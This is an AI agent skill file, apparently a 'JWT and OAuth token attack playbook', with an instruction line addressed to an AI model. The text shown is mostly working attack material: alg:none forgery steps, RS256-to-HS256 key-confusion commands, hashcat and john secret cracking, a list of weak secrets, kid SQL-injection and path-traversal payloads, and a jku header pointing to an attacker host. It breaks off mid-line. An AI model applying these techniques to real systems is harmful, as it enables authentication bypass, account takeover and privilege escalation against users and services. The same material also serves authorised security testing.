$npx -y skills add Prohao42/aimy-skill --skill jwt-oauth-token-attacks--- name: jwt-oauth-token-attacks description: >- JWT and OAuth token attack playbook. Use when validating token trust, signing algorithms, key handling, claim abuse, bearer flows, and OAuth account-binding weaknesses. ---
| 1 | # SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playbook |
| 2 | |
| 3 | > **AI LOAD INSTRUCTION**: Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256→HS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications. |
| 4 | |
| 5 | ## 0. RELATED ROUTING |
| 6 | |
| 7 | Use this file for token-centric attacks and flow abuse. Also load: |
| 8 | |
| 9 | - [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md) for redirect URI, state, nonce, PKCE, and account-binding validation |
| 10 | - [cors cross origin misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) when browser-readable APIs or token leakage may exist cross-origin |
| 11 | - [saml sso assertion attacks](../saml-sso-assertion-attacks/SKILL.md) when the target uses enterprise SSO outside OAuth/OIDC |
| 12 | |
| 13 | --- |
| 14 | |
| 15 | ## 1. JWT ANATOMY |
| 16 | |
| 17 | ``` |
| 18 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c |
| 19 | └─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘ |
| 20 | HEADER PAYLOAD SIGNATURE |
| 21 | ``` |
| 22 | |
| 23 | **Decode in terminal**: |
| 24 | ```bash |
| 25 | echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d |
| 26 | # → {"alg":"HS256","typ":"JWT"} |
| 27 | |
| 28 | echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d |
| 29 | # → {"userId":1234,"role":"user"} |
| 30 | ``` |
| 31 | |
| 32 | **Common claim targets** (modify to escalate): |
| 33 | ```json |
| 34 | { |
| 35 | "role": "admin", |
| 36 | "isAdmin": true, |
| 37 | "userId": OTHER_USER_ID, |
| 38 | "email": "victim@target.com", |
| 39 | "sub": "admin", |
| 40 | "permissions": ["admin", "write", "delete"], |
| 41 | "tier": "premium" |
| 42 | } |
| 43 | ``` |
| 44 | |
| 45 | --- |
| 46 | |
| 47 | ## 2. ATTACK 1 — ALGORITHM NONE (alg:none) |
| 48 | |
| 49 | Server doesn't validate signature when algorithm is "none"/"None"/"NONE": |
| 50 | |
| 51 | ```bash |
| 52 | # Burp JWT Editor / python-jwt attack: |
| 53 | # Step 1: Decode header |
| 54 | echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header |
| 55 | |
| 56 | # Step 2: Create new header |
| 57 | echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-' |
| 58 | |
| 59 | # Step 3: Modify payload (e.g., role → admin): |
| 60 | echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-' |
| 61 | |
| 62 | # Step 4: Construct token with empty signature: |
| 63 | HEADER.PAYLOAD. |
| 64 | # OR: |
| 65 | HEADER.PAYLOAD |
| 66 | ``` |
| 67 | |
| 68 | **Tool (jwt_tool)**: |
| 69 | ```bash |
| 70 | python3 jwt_tool.py JWT_TOKEN -X a |
| 71 | # → automatically generates alg:none variants |
| 72 | ``` |
| 73 | |
| 74 | --- |
| 75 | |
| 76 | ## 3. ATTACK 2 — RS256 TO HS256 KEY CONFUSION |
| 77 | |
| 78 | **When server uses RS256** (asymmetric — RSA private key signs, public key verifies): |
| 79 | - Server's public key is often discoverable (JWKS endpoint, `/certs`, source code) |
| 80 | - Attack: tell server "this is HS256" → server verifies HS256 HMAC using **the public key as secret** |
| 81 | |
| 82 | ```bash |
| 83 | # Step 1: Obtain public key (PEM format) |
| 84 | # From: /api/.well-known/jwks.json → convert to PEM |
| 85 | # From: /certs endpoint |
| 86 | # From: OpenSSL extraction from HTTPS cert |
| 87 | |
| 88 | # Step 2: Use jwt_tool to sign with HS256 using public key as secret: |
| 89 | python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem |
| 90 | |
| 91 | # Step 3: Manually: |
| 92 | # Modify header: {"alg":"HS256","typ":"JWT"} |
| 93 | # Sign entire header.payload with HMAC-SHA256 using PEM public key bytes |
| 94 | ``` |
| 95 | |
| 96 | --- |
| 97 | |
| 98 | ## 4. ATTACK 3 — JWT SECRET BRUTE FORCE |
| 99 | |
| 100 | HMAC-based JWTs (HS256/HS384/HS512) with weak secret: |
| 101 | |
| 102 | ```bash |
| 103 | # hashcat (fast): |
| 104 | hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt |
| 105 | |
| 106 | # john: |
| 107 | echo "JWT_TOKEN_HERE" > jwt.txt |
| 108 | john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt |
| 109 | |
| 110 | # jwt_tool: |
| 111 | python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt |
| 112 | ``` |
| 113 | |
| 114 | **Common weak secrets to test manually**: |
| 115 | ``` |
| 116 | secret, password, 123456, qwerty, changeme, your-256-bit-secret, |
| 117 | APP_NAME, app_name, production, jwt_secret, SECRET_KEY |
| 118 | ``` |
| 119 | |
| 120 | --- |
| 121 | |
| 122 | ## 5. ATTACK 4 — kid (Key ID) INJECTION |
| 123 | |
| 124 | The `kid` header parameter specifies which key to use for verification. No sanitization = injection: |
| 125 | |
| 126 | ### kid SQL Injection |
| 127 | ```json |
| 128 | {"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"} |
| 129 | ``` |
| 130 | If backend queries SQL: `SELECT key FROM keys WHERE kid = 'INPUT'` |
| 131 | Result: HMAC key = `'attacker_controlled_key'` → forge any payload signed with this value. |
| 132 | |
| 133 | ### kid Path Traversal (file read) |
| 134 | ```json |
| 135 | {"alg":"HS256","kid":"../../../../dev/null"} |
| 136 | ``` |
| 137 | Server reads `/dev/null` as key → empty string → sign token with empty HMAC. |
| 138 | |
| 139 | ```json |
| 140 | {"alg":"HS256","kid":"../../../../etc/hostname"} |
| 141 | ``` |
| 142 | Server reads hostname as key → forge tokens signed with hostname string. |
| 143 | |
| 144 | --- |
| 145 | |
| 146 | ## 6. ATTACK 5 — jku / x5u Header Injection |
| 147 | |
| 148 | `jku` points to JSON Web Key Set URL. If not whitelisted: |
| 149 | ```json |
| 150 | {"alg":"RS256","jku":"https://attacker.com/malicious-jwks.js |